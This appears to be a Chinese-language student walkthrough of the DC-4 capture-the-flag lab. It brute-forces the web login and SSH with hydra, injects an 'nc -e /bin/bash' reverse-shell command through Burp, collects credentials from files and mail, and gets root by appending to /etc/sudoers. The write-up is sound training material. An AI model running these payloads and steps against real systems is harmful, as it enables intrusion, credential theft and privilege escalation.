软件综合训练-续
开始之前需要先下载DC4虚拟机映像,请点击:DC4下载
下载后直接导入即可,别忘记将网络设置为NAT。接下来我们开始吧!
启动kali和DC4,已知我的kali的ip地址为192.168.73.134
如果不知道请先通过ifconfig查看ip地址,为了便于执行命令,首先直接ssh到kali。
1. 扫描局域网上的在线主机
1 | nmap -sn 192.168.73.0/24 |
同样的,ip为.1、.2、.254的为vmware私有,由于本机为.134,则所要攻击主机为192.168.73.133
2. 对目的主机进行详细扫描:
1 | nmap -p- -A 192.168.73.133 |
可以由扫描结果看出,该主机开放了22和80端口,他很可能是个web服务器,让我们通过目的主机的ip地址访问一下它的80端口看看是什么样子!
3. 爆破登陆密码
发现竟然是个登陆页面,让我们通过hydra爆破一下,字典用/usr/share/wordlists/rockyou
,由于rockyou没有解压,我们先cd到该目录将其解压
1 | cd /usr/share/wordlists/ |
之后进行密码爆破:
1 | hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.73.133 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F |
ip地址为目的主机
爆破成功,我们得到了login: admin password: happy
接下来用账户密码登陆一下试试吧。
发现有两个选项,一个Command,另一个为退出登陆,点击Command试试吧!
点击Run,会发现相当于对目的主机发送了ls -l的命令,如下图所示:
这就给了我们渗透进入目的主机的机会!我们可以抓取点击Run后发给目的主机的包,修改这个命令,从而渗透入目的主机,让我们开始愉快的抓包吧!
4. 抓包、改包、发包
既然要抓包,就要用到kali内置的Burp Suite了,打开之后显示如下:
首先设置一下Burp和火狐浏览器的代理设置:
Burp: Proxy->Options->点击默认的代理规则->Edit->Request handing->勾选Support invisible proxying(enable only if needed)
(Burp的抓包默认是开启的)
火狐浏览器代理设置:
点击Preferences
下拉滚动条找到Network Proxy,点击Settings,如下填写:
点击OK,完成浏览器的代理设置。
让我们捋一下我们的渗透过程,通过点击Run,发送包至127.0.0.1:8080,也就是本地的8080端口,由Burp截获包,修改包中的命令字段,通过Burp将包发送到目的主机。由于我们的目的是渗透入目的主机,即反向shell,因此我们首先需要用Netcat设置一个Netcat侦听器。
关于反向shell工作原理如下:
在此示例中,目标使用端口4444反向连接攻击主机(即我们的kali),-e选项将bash shell发回攻击主机。所以我们只要想办法在目标主机上执行
nc 192.168.73.134 -e /bin/sh
就可以了,现在想想,是不是只要将之前发送的包中的命令字段从ls -l变成这个就可以了呢,嘿嘿嘿,既然明白了原理,just do it!首先在我们的kali上执行:
1
nc -lvp 4444
接下来打开之前的火狐浏览器,点击Run,开始抓包。
打开Burp,你会发现已经抓包成功了。
将radio字段改成nc+-nv+192.168.73.134+4444+-e+/bin/bash
ip地址为kali的ip地址。
之后点击Intercept is on,即发包,将包原路发出去。可以看到按钮变为Intercept is off
看看我们的shell是不是变成了下面的样子:
之后在shell中输入:
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
是不是成功返回了目的主机的bash shell。
5. 获取密码
去到/home目录下,会看到有三个用户:charles jim sam
浏览一下这几个用户目录,发现在/home/jim/backups下有一个密码字典:old-passwords.bak,既然有密码字典,我们又可以进行密码爆破啦!
再开一个ssh连接我们的Kali,将三个用户名保存为一个users.txt,将这个密码字典的内容复制下来保存为一个passwd.txt,这两个txt文件都是要保存在kali上的哦。
下面在新开的ssh上输入以下命令进行密码爆破:
1 | hydra -L users.txt -P passwd.txt 192.168.73.133 ssh |
ip为目的主机ip地址。
密码爆破结果:
通过爆破得到 login: jim password: jibril04
让我们回到渗透那个ssh上,继续下面的工作。
6. 切换到jim用户
因为我们已经知道了jim的密码,所以让我们切换到jim用户浏览一下吧!
1 | su jim |
会提示输入密码,输入之后便以jim用户权限访问目的主机。
在其用户目录下发现有一个mbox,cat一下:
1 | cat mbox |
发现其在发邮件,于是我们到/var/mail目录下查看jim的邮件:
打开cat一下
发现是charles给jim发送的邮件,并向他告诉了密码:^xHhA&hvim0y
有了charles的密码,接下来让我们切换到他的用户权限下看一看。
7. 切换到charles用户
1 | su charles |
看一下charles的用户权限:
1 | sudo -l |
发现/usr/bin/teehee
可以使用sudo
看一下teehee的帮助内容
1 | /usr/bin/teehee --h |
我也没看出什么名堂来,应该是可以写文件之类的…
接下来这一步我没有搞懂,看懂的小伙伴私信我一下哦,
1 | echo "charles ALL=(ALL:ALL) ALL" | sudo teehee -a /etc/sudoers |
最后cat一下/root/目录下的flag.txt就可以了
1 | sudo cat /root/flag.txt |
这样子就完成了!